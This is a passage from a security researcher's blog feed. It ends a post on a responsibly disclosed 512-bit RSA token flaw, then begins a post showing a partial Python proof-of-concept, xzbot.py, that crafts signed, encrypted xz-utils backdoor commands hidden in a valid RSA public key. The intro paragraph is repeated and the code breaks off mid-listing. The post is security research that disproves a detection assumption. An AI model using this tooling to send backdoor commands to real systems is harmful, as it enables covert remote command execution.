<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;surname&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Energy&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;telephone_number&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;███████████&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;timezone&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;GMT&quot;</span></code>
</td></tr><tr><td>
<code><span class="pgcssp">}</span></code>
</td></tr></tbody></table></div>
<p>A response was waiting for me in the morning, thanking me and making it clear
that they were taking it seriously and a fix was their top priority.</p>
<p>I followed up thanking them for the update, and offering to confirm their fix
for them when it was ready.</p>
<p>Their CTO followed up late that evening, thanking me again and asking if he
could take me up on my offer to test their fix. Which was already deployed.</p>
<p>They did what now? I read the email again. Twice. I did some testing. They’d
switch to a 4096 bit RSA key, but not only was I no longer able to mint my
own API tokens, the legitimate ones I’d initially generated still worked.
Was I dreaming?</p>
<p>My confirmation led with:</p>
<blockquote>
Wow, this is by far the best vendor response I’ve ever seen.</blockquote>
<p>Seriously. A+++++ would tell them I pwned their stuff again.</p>
<p>They’ve posted
<a class="external" href="proxy.php?url=https%3A%2F%2Fgivenergy.co.uk%2Freal-world-example-givenergy-security-and-cyberthreat-response%2F">their take</a>
on the issue.</p>
</div>
<div class="section" id="the-bigger-picture">
<h2><a href="#the-bigger-picture" rel="bookmark">The Bigger Picture</a></h2>
<p>Expecting developers to know that 512 bit RSA is insecure clearly doesn’t
work. They’re not cryptographers. This is not their job. The failure wasn’t
that someone used 512 bit RSA. It was that a library they were relying on
<em>let them</em>.</p>
<p>I’m in favor of task-oriented cryptography libraries which provide tools to
solve problems without forcing non-experts to make security decisions.</p>
<p>Python’s <a class="external" href="proxy.php?url=https%3A%2F%2Fcryptography.io%2Fen%2Flatest%2F">cryptography</a> library has
been working to provide this, as well as the low level stuff for when it’s
needed - they call it “hazmat”. It comes with a warning:</p>
<blockquote>
This is a “Hazardous Materials” module. You should <strong>ONLY</strong> use it if you’re
100% absolutely sure that you know what you’re doing because this module is
full of land mines, dragons, and dinosaurs with laser guns.</blockquote>
<p>Support for 512 bit RSA is a land mine, but it’s one that can be defused.</p>
<p>I’m now working to get major cryptography libraries to drop support for it.</p>
<p>Python’s cryptography library did so coincidentally in a release a few weeks
ago (the <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fpyca%2Fcryptography%2Fcommit%2F83dcbc190165ad5c1f86bddaee76e0b288803c43">commit</a> was in January).</p>
<p>I’ve submitted a <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fopenssl%2Fopenssl%2Fpull%2F25094">pull request</a> to OpenSSL.</p>
<p>Similar changes for Go’s crypto library are now <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fgolang%2Fgo%2Fissues%2F68762">under discussion</a>.</p>
<p>These changes will take some time to become widely distributed, but eventually
people will no longer make this mistake.</p>
<p><i>This blog post was covered in <a class="external" href="proxy.php?url=https%3A%2F%2Farstechnica.com%2Fsecurity%2F2024%2F08%2Fhome-energy-system-gives-researcher-control-of-virtual-power-plant%2F">Ars Technica</a>.</i></p>
</div>
Putting an xz Backdoor Payload in a Valid RSA Key2024-04-03T17:55:00+01:002024-04-03T17:55:00+01:00ryanctag:rya.nc,2024-04-03:/xz-valid-n.html<!-- included from `include/globals.rst` -->
<p>Last week,
<a class="external" href="proxy.php?url=https%3A%2F%2Farstechnica.com%2Fsecurity%2F2024%2F04%2Fwhat-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world%2F">a backdoor was discovered</a>
in <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FXZ_Utils">xz-utils</a>. The backdoor processes commands sent using RSA public
keys as a covert channel. In order to prevent anyone else from using the
backdoor, the threat actor implemented a cryptographic signature check on the
payload.</p>
<p>I have seen a number of people claim that this would necessarily result in an
obviously invalid RSA public key, or at least one with no corresponding private
key.</p>
<p>This is incorrect, and someone
<a class="external" href="proxy.php?url=https%3A%2F%2Fxkcd.com%2F356%2F">nerd sniped</a>
me into proving it.</p>
<!-- included from `include/globals.rst` -->
<p>Last week,
<a class="external" href="proxy.php?url=https%3A%2F%2Farstechnica.com%2Fsecurity%2F2024%2F04%2Fwhat-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world%2F">a backdoor was discovered</a>
in <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FXZ_Utils">xz-utils</a>. The backdoor processes commands sent using RSA public
keys as a covert channel. In order to prevent anyone else from using the
backdoor, the threat actor implemented a cryptographic signature check on the
payload.</p>
<p>I have seen a number of people claim that this would necessarily result in an
obviously invalid RSA public key, or at least one with no corresponding private
key.</p>
<p>This is incorrect, and someone
<a class="external" href="proxy.php?url=https%3A%2F%2Fxkcd.com%2F356%2F">nerd sniped</a>
me into proving it.</p>
<div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fxz-valid-n_%2Fattach%2Fxzbot.py" id="xzbot-py">xzbot.py</a></caption><tbody><tr><td class="linenos">1</td><td>
<code><span class="pgcssch">#!/usr/bin/env python3</span></code>
</td></tr><tr><td class="linenos">2</td><td>
</td></tr><tr><td class="linenos">3</td><td>
<code><span class="pgcssc1"># python standard library imports</span></code>
</td></tr><tr><td class="linenos">4</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">os</span> <span class="pgcsskn">import</span> <span class="pgcssn">urandom</span></code>
</td></tr><tr><td class="linenos">5</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">sys</span> <span class="pgcsskn">import</span> <span class="pgcssn">argv</span><span class="pgcssp">,</span> <span class="pgcssn">exit</span><span class="pgcssp">,</span> <span class="pgcssn">stderr</span></code>
</td></tr><tr><td class="linenos">6</td><td>
</td></tr><tr><td class="linenos">7</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">hashlib</span> <span class="pgcsskn">import</span> <span class="pgcssn">sha256</span></code>
</td></tr><tr><td class="linenos">8</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">base64</span> <span class="pgcsskn">import</span> <span class="pgcssn">b64decode</span> <span class="pgcssk">as</span> <span class="pgcssn">b64d</span></code>
</td></tr><tr><td class="linenos">9</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">struct</span> <span class="pgcsskn">import</span> <span class="pgcssn">pack_into</span><span class="pgcssp">,</span> <span class="pgcssn">unpack_from</span></code>
</td></tr><tr><td class="linenos">10</td><td>
</td></tr><tr><td class="linenos">11</td><td>
<code><span class="pgcssc1"># third party imports</span></code>
</td></tr><tr><td class="linenos">12</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">gmpy2</span> <span class="pgcsskn">import</span> <span class="pgcssn">mpz</span><span class="pgcssp">,</span> <span class="pgcssn">next_prime</span><span class="pgcssp">,</span> <span class="pgcssn">invert</span><span class="pgcssp">,</span> <span class="pgcssn">lcm</span><span class="pgcssp">,</span> <span class="pgcssn">gcd</span><span class="pgcssp">,</span> <span class="pgcssn">c_div</span></code>
</td></tr><tr><td class="linenos">13</td><td>
</td></tr><tr><td class="linenos">14</td><td>
<code><span class="pgcssc1"># i ain&#39;t &#39;fraid of no land mines, dragons, or dinosaurs with laser guns</span></code>
</td></tr><tr><td class="linenos">15</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.asymmetric.rsa</span> <span class="pgcsskn">import</span> <span class="pgcssn">generate_private_key</span> <span class="pgcssk">as</span> <span class="pgcssn">rsa_generate</span></code>
</td></tr><tr><td class="linenos">16</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.asymmetric.rsa</span> <span class="pgcsskn">import</span> <span class="pgcssn">RSAPrivateNumbers</span><span class="pgcssp">,</span> <span class="pgcssn">RSAPublicNumbers</span></code>
</td></tr><tr><td class="linenos">17</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.asymmetric.ed448</span> <span class="pgcsskn">import</span> <span class="pgcssn">Ed448PrivateKey</span></code>
</td></tr><tr><td class="linenos">18</td><td>
</td></tr><tr><td class="linenos">19</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.ciphers.algorithms</span> <span class="pgcsskn">import</span> <span class="pgcssn">ChaCha20</span></code>
</td></tr><tr><td class="linenos">20</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.ciphers</span> <span class="pgcsskn">import</span> <span class="pgcssn">Cipher</span></code>
</td></tr><tr><td class="linenos">21</td><td>
</td></tr><tr><td class="linenos">22</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.serialization</span> <span class="pgcsskn">import</span> <span class="pgcssn">PrivateFormat</span><span class="pgcssp">,</span> <span class="pgcssn">PublicFormat</span></code>
</td></tr><tr><td class="linenos">23</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.serialization</span> <span class="pgcsskn">import</span> <span class="pgcssn">Encoding</span><span class="pgcssp">,</span> <span class="pgcssn">NoEncryption</span></code>
</td></tr><tr><td class="linenos">24</td><td>
<code><span class="pgcssc1"># End imports</span></code>
</td></tr><tr><td class="linenos">25</td><td>
</td></tr><tr><td class="linenos">26</td><td>
<code><span class="pgcssn">COMMAND</span> <span class="pgcsso">=</span> <span class="pgcssmi">2</span></code>
</td></tr><tr><td class="linenos">27</td><td>
<code><span class="pgcssn">RSA_BITS</span><span class="pgcssp">,</span> <span class="pgcssn">RSA_E</span> <span class="pgcsso">=</span> <span class="pgcssmi">2048</span><span class="pgcssp">,</span> <span class="pgcssn">mpz</span><span class="pgcssp">(</span><span class="pgcssmi">65537</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">28</td><td>
</td></tr><tr><td class="linenos">29</td><td>
<code><span class="pgcssc1"># splice data into a bytes-like value, returning a new `bytes` value</span></code>
</td></tr><tr><td class="linenos">30</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">replace_at</span><span class="pgcssp">(</span><span class="pgcssn">orig</span><span class="pgcssp">,</span> <span class="pgcssn">replace</span><span class="pgcssp">,</span> <span class="pgcssn">offset</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">31</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssnb">bytes</span><span class="pgcssp">(</span><span class="pgcssn">orig</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">:</span><span class="pgcssn">offset</span><span class="pgcssp">]</span> <span class="pgcsso">+</span> <span class="pgcssn">replace</span> <span class="pgcsso">+</span> <span class="pgcssn">orig</span><span class="pgcssp">[</span><span class="pgcssn">offset</span><span class="pgcsso">+</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">replace</span><span class="pgcssp">):])</span></code>
</td></tr><tr><td class="linenos">32</td><td>
</td></tr><tr><td class="linenos">33</td><td>
<code><span class="pgcssc1"># integer to two&#39;s complement big endian value encoded as a `bytearray`</span></code>
</td></tr><tr><td class="linenos">34</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">int_to_bytearray</span><span class="pgcssp">(</span><span class="pgcssn">i</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">35</td><td>
<code> <span class="pgcssn">i</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">i</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">36</td><td>
<code> <span class="pgcssn">i_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">i</span><span class="pgcsso">.</span><span class="pgcssn">to_bytes</span><span class="pgcssp">((</span><span class="pgcssn">i</span><span class="pgcsso">.</span><span class="pgcssn">bit_length</span><span class="pgcssp">()</span> <span class="pgcsso">+</span> <span class="pgcssmi">7</span><span class="pgcssp">)</span> <span class="pgcsso">//</span> <span class="pgcssmi">8</span><span class="pgcssp">,</span> <span class="pgcssn">byteorder</span><span class="pgcsso">=</span><span class="pgcsss1">&#39;big&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">37</td><td>
<code> <span class="pgcssc1"># a leading zero byte is needed if first bit is 1</span></code>
</td></tr><tr><td class="linenos">38</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">i_bytes</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">]</span> <span class="pgcsso">&gt;=</span> <span class="pgcssmh">0x80</span><span class="pgcssp">:</span> <span class="pgcssn">i_bytes</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\0</span><span class="pgcsss1">&#39;</span> <span class="pgcsso">+</span> <span class="pgcssn">i_bytes</span></code>
</td></tr><tr><td class="linenos">39</td><td>
</td></tr><tr><td class="linenos">40</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssnb">bytearray</span><span class="pgcssp">(</span><span class="pgcssn">i_bytes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">41</td><td>
</td></tr><tr><td class="linenos">42</td><td>
<code><span class="pgcssc1"># newer versions of gmpy2 have this natively :-/</span></code>
</td></tr><tr><td class="linenos">43</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">mpz_from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b</span><span class="pgcssp">,</span> <span class="pgcssn">byteorder</span><span class="pgcsso">=</span><span class="pgcsss1">&#39;big&#39;</span><span class="pgcssp">,</span> <span class="pgcsso">*</span><span class="pgcssp">,</span> <span class="pgcssn">signed</span><span class="pgcsso">=</span><span class="pgcsskc">False</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">44</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">mpz</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcsso">.</span><span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b</span><span class="pgcssp">,</span> <span class="pgcssn">byteorder</span><span class="pgcssp">,</span> <span class="pgcssn">signed</span><span class="pgcsso">=</span><span class="pgcssn">signed</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">45</td><td>
</td></tr><tr><td class="linenos">46</td><td>
<code><span class="pgcssc1"># random prime, n bytes long</span></code>
</td></tr><tr><td class="linenos">47</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">random_prime</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">48</td><td>
<code> <span class="pgcssn">rand_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">urandom</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">49</td><td>
<code> <span class="pgcssn">rand_start</span> <span class="pgcsso">=</span> <span class="pgcssn">mpz_from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">rand_bytes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">50</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">next_prime</span><span class="pgcssp">(</span><span class="pgcssn">rand_start</span><span class="pgcssp">)</span> <span class="pgcssc1"># next *probable* prime</span></code>
</td></tr><tr><td class="linenos">51</td><td>
</td></tr><tr><td class="linenos">52</td><td>
<code><span class="pgcssc1"># construct rsa private key given (n, e, d, p, q)</span></code>
</td></tr><tr><td class="linenos">53</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">rsa_construct</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">54</td><td>
<code> <span class="pgcssc1"># p should be greater than q</span></code>
</td></tr><tr><td class="linenos">55</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">q</span> <span class="pgcsso">&gt;</span> <span class="pgcssn">p</span><span class="pgcssp">:</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssn">q</span><span class="pgcssp">,</span> <span class="pgcssn">p</span></code>
</td></tr><tr><td class="linenos">56</td><td>
</td></tr><tr><td class="linenos">57</td><td>
<code> <span class="pgcssc1"># compute chinese remainder theorem values</span></code>
</td></tr><tr><td class="linenos">58</td><td>
<code> <span class="pgcssn">dmp1</span><span class="pgcssp">,</span> <span class="pgcssn">dmq1</span> <span class="pgcsso">=</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">d</span> <span class="pgcsso">%</span> <span class="pgcssp">(</span><span class="pgcssn">x</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)),</span> <span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">59</td><td>
<code> <span class="pgcssn">iqmp</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">q</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">60</td><td>
</td></tr><tr><td class="linenos">61</td><td>
<code> <span class="pgcssc1"># build the key from parameters</span></code>
</td></tr><tr><td class="linenos">62</td><td>
<code> <span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">,</span> <span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">63</td><td>
<code> <span class="pgcssn">pub_params</span> <span class="pgcsso">=</span> <span class="pgcssn">RSAPublicNumbers</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">64</td><td>
<code> <span class="pgcssn">prv_params</span> <span class="pgcsso">=</span> <span class="pgcssn">RSAPrivateNumbers</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">dmp1</span><span class="pgcssp">,</span> <span class="pgcssn">dmq1</span><span class="pgcssp">,</span> <span class="pgcssn">iqmp</span><span class="pgcssp">,</span> <span class="pgcssn">pub_params</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">65</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">prv_params</span><span class="pgcsso">.</span><span class="pgcssn">private_key</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">66</td><td>
</td></tr><tr><td class="linenos">67</td><td>
<code><span class="pgcssc1"># pem format unencrypted private key</span></code>
</td></tr><tr><td class="linenos">68</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">pem_private</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">69</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">k</span><span class="pgcsso">.</span><span class="pgcssn">private_bytes</span><span class="pgcssp">(</span></code>
</td></tr><tr><td class="linenos">70</td><td>
<code> <span class="pgcssn">Encoding</span><span class="pgcsso">.</span><span class="pgcssn">PEM</span><span class="pgcssp">,</span> <span class="pgcssn">PrivateFormat</span><span class="pgcsso">.</span><span class="pgcssn">TraditionalOpenSSL</span><span class="pgcssp">,</span> <span class="pgcssn">NoEncryption</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">71</td><td>
<code> <span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">strip</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">72</td><td>
</td></tr><tr><td class="linenos">73</td><td>
<code><span class="pgcssc1"># generate key in the same way https://github.com/amlweems/xzbot does</span></code>
</td></tr><tr><td class="linenos">74</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">ed448_from_n</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">75</td><td>
<code> <span class="pgcssn">seed</span> <span class="pgcsso">=</span> <span class="pgcssn">n</span><span class="pgcsso">.</span><span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssmi">57</span><span class="pgcssp">,</span> <span class="pgcssn">byteorder</span><span class="pgcsso">=</span><span class="pgcsss1">&#39;big&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">76</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">Ed448PrivateKey</span><span class="pgcsso">.</span><span class="pgcssn">from_private_bytes</span><span class="pgcssp">(</span><span class="pgcssn">seed</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">77</td><td>
</td></tr><tr><td class="linenos">78</td><td>
<code><span class="pgcssc1"># encrypt/decrypt with raw ChaCha20</span></code>
</td></tr><tr><td class="linenos">79</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">chacha20</span><span class="pgcssp">(</span><span class="pgcssn">data</span><span class="pgcssp">,</span> <span class="pgcssn">key</span><span class="pgcssp">,</span> <span class="pgcssn">nonce</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">80</td><td>
<code> <span class="pgcssn">cipher</span> <span class="pgcsso">=</span> <span class="pgcssn">Cipher</span><span class="pgcssp">(</span><span class="pgcssn">ChaCha20</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcssp">,</span> <span class="pgcssn">nonce</span><span class="pgcssp">),</span> <span class="pgcssn">mode</span><span class="pgcsso">=</span><span class="pgcsskc">None</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">81</td><td>
<code> <span class="pgcssn">cryptor</span> <span class="pgcsso">=</span> <span class="pgcssn">cipher</span><span class="pgcsso">.</span><span class="pgcssn">encryptor</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">82</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">cryptor</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">data</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">83</td><td>
</td></tr><tr><td class="linenos">84</td><td>
<code><span class="pgcssc1"># process server private key</span></code>
</td></tr><tr><td class="linenos">85</td><td>
<code><span class="pgcssn">srv_pub_type</span> <span class="pgcsso">=</span> <span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span><span class="pgcsso">.</span><span class="pgcssn">encode</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">86</td><td>
<code><span class="pgcssn">srv_pub_type</span> <span class="pgcsso">=</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">srv_pub_type</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssmi">4</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;big&#39;</span><span class="pgcssp">)</span> <span class="pgcsso">+</span> <span class="pgcssn">srv_pub_type</span></code>
</td></tr><tr><td class="linenos">87</td><td>
<code><span class="pgcssn">srv_pub_body</span> <span class="pgcsso">=</span> <span class="pgcssn">b64d</span><span class="pgcssp">(</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">88</td><td>
<code><span class="pgcssn">srv_pub_hash</span> <span class="pgcsso">=</span> <span class="pgcssn">sha256</span><span class="pgcssp">(</span><span class="pgcssn">srv_pub_type</span> <span class="pgcsso">+</span> <span class="pgcssn">srv_pub_body</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">digest</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">89</td><td>
</td></tr><tr><td class="linenos">90</td><td>
<code><span class="pgcssc1"># generate backdoor key</span></code>
</td></tr><tr><td class="linenos">91</td><td>
<code><span class="pgcssn">prv_key</span> <span class="pgcsso">=</span> <span class="pgcssn">ed448_from_n</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">3</span><span class="pgcssp">]))</span></code>
</td></tr><tr><td class="linenos">92</td><td>
<code><span class="pgcssn">pub_key</span> <span class="pgcsso">=</span> <span class="pgcssn">prv_key</span><span class="pgcsso">.</span><span class="pgcssn">public_key</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">public_bytes</span><span class="pgcssp">(</span><span class="pgcssn">Encoding</span><span class="pgcsso">.</span><span class="pgcssn">Raw</span><span class="pgcssp">,</span> <span class="pgcssn">PublicFormat</span><span class="pgcsso">.</span><span class="pgcssn">Raw</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">93</td><td>
<code><span class="pgcssn">sym_key</span> <span class="pgcsso">=</span> <span class="pgcssn">pub_key</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">:</span><span class="pgcssmi">32</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">94</td><td>
</td></tr><tr><td class="linenos">95</td><td>
<code><span class="pgcssc1"># command is null terminated</span></code>
</td></tr><tr><td class="linenos">96</td><td>
<code><span class="pgcssn">command</span> <span class="pgcsso">=</span> <span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">4</span><span class="pgcssp">]</span><span class="pgcsso">.</span><span class="pgcssn">encode</span><span class="pgcssp">()</span> <span class="pgcsso">+</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\0</span><span class="pgcsss1">&#39;</span></code>
</td></tr><tr><td class="linenos">97</td><td>
<code><span class="pgcssk">if</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">command</span><span class="pgcssp">)</span> <span class="pgcsso">&gt;</span> <span class="pgcssmi">64</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">98</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;command too long, should not exceed 64 characters&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">file</span><span class="pgcsso">=</span><span class="pgcssn">stderr</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">99</td><td>
<code> <span class="pgcssn">exit</span><span class="pgcssp">(</span><span class="pgcssmi">1</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">100</td><td>
</td></tr><tr><td class="linenos">101</td><td>
<code><span class="pgcssc1"># command needs to be at least five bytes for signing, pad as required</span></code>
</td></tr><tr><td class="linenos">102</td><td>
<code><span class="pgcssk">while</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">command</span><span class="pgcssp">)</span> <span class="pgcsso">&lt;</span> <span class="pgcssmi">5</span><span class="pgcssp">:</span> <span class="pgcssn">command</span> <span class="pgcsso">+=</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\0</span><span class="pgcsss1">&#39;</span></code>
</td></tr><tr><td class="linenos">103</td><td>
</td></tr><tr><td class="linenos">104</td><td>
<code><span class="pgcssc1"># the first few bytes of an rsa modulus probably aren&#39;t uniformly distributed,</span></code>
</td></tr><tr><td class="linenos">105</td><td>
<code><span class="pgcssc1"># so start off with an N value from a normally generated key</span></code>
</td></tr><tr><td class="linenos">106</td><td>
<code><span class="pgcssn">rsa</span> <span class="pgcsso">=</span> <span class="pgcssn">rsa_generate</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">RSA_E</span><span class="pgcssp">),</span> <span class="pgcssn">RSA_BITS</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">107</td><td>
<code><span class="pgcssn">n</span> <span class="pgcsso">=</span> <span class="pgcssn">rsa</span><span class="pgcsso">.</span><span class="pgcssn">private_numbers</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">public_numbers</span><span class="pgcsso">.</span><span class="pgcssn">n</span></code>
</td></tr><tr><td class="linenos">108</td><td>
<code><span class="pgcssn">n_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">int_to_bytearray</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">109</td><td>
